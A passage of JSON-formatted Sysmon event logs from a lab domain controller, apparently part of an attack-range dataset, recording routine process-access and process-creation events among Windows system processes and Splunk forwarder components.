C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4228-5F2D-0000-00107C170900}","TargetProcessId":"4236","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.386\r\nProcessGuid: {90617006-4229-5F2D-0000-00101F190900}\r\nProcessId: 4652\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.386","ProcessGuid":"{90617006-4229-5F2D-0000-00101F190900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4229-5F2D-0000-00101F190900}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4229-5F2D-0000-00101F190900}","TargetProcessId":"4652","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4229-5F2D-0000-00101F190900}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4229-5F2D-0000-00101F190900}","TargetProcessId":"4652","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 